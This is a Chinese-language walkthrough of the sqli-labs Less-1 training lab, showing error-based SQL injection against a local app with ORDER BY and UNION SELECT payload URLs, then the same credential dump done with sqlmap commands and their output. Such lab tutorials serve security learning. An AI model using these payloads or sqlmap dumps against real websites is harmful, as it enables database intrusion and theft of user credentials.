GET 基于报错的SQL注入(less-1)
显示:相应用户名和密码
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1
显示:报错’ ‘1’’ limit 0,1 ’
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1%27
即正常情况下(输入id=1)应是:'1’ limit 0,1
故可以推测出SQL:
select username,password from 用户表 where id = '输入的id' limit 0,1;
验证:
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1%27--%20
显示:用户名和密码
故说明推测成立
方法一:
1.判断字段数
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1' order by 3 --+
显示:用户名和密码,说明字段数至少为3
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1' order by 4 --+
显示:Unknown column '4' in 'order clause',
说明字段数为3
而http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16
时,没有显示用户名和密码,说明数据库中没有id='16’的记录
故
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,2,3 --+
此时显示用户名为2,密码为3,于是2和3的位置就是可以利用的位置
2.得到登录用户和数据库
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,user(),database() --+
显示:用户为root@localhost,相应的数据库为security(同理,也可以使用**version()**函数查看mysql版本)
3.表名(为了知道用户名和密码存储在哪个表中)
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'--+
显示:爆出当前使用的数据库中的表名
users,uagents,emails,referers
返回值为用户名和密码,于是推测用户名和密码存储在users表中
4.字段名(为了知道哪两个字段代表用户名和密码)
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+
显示:爆出users表中字段名为
id,username,password,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
可以验证用户名和密码是存储于users表中,推测username和password各代表用户名和密码
5.字段值
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,group_concat(username,0x3a,password),3 from users--+
显示:
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
方法二(使用sqlmap):
1.数据库名
在终端输入
sqlmap -u "http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1" --dbs --batch
显示:
available databases [5]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
推测使用security
2.表名
在终端输入
sqlmap -u "http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1" -D security --tables --batch
显示:
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
推测在users中
3.字段名
在终端输入
`sqlmap -u “http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1” -D security -T users --columns --batch`
显示:
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
推测username为用户名,password为密码
4.字段值
sqlmap -u “http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1” -D security -T users -C username,password --dump --batch
显示:
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password |
+----------+------------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+----------+------------+
总结
1、默认定义information_schema,用来存储数据库单元信息
具有表的schemata(数据库名)、tables(表名)、columns(列名或字段名)
2、
在schemata表中,schemata_name,用于存放数据库名
在tables表中,table_schema、table_name,用于存放数据名和表名
在columns表中,table_schema(数据库名)、table_name(表名)、columns(字段名)
3、常用函数
user():查看当前MySQL登录用户名
database():查看当前使用MySQL数据库名
version():查看当前MySQL版本(针对MySQL5.0+)
limit 关键字:
limit n,m 表示从n行到n+m行
4、注释
注释符:# 或 - - 空格 或 /**/
空格:#20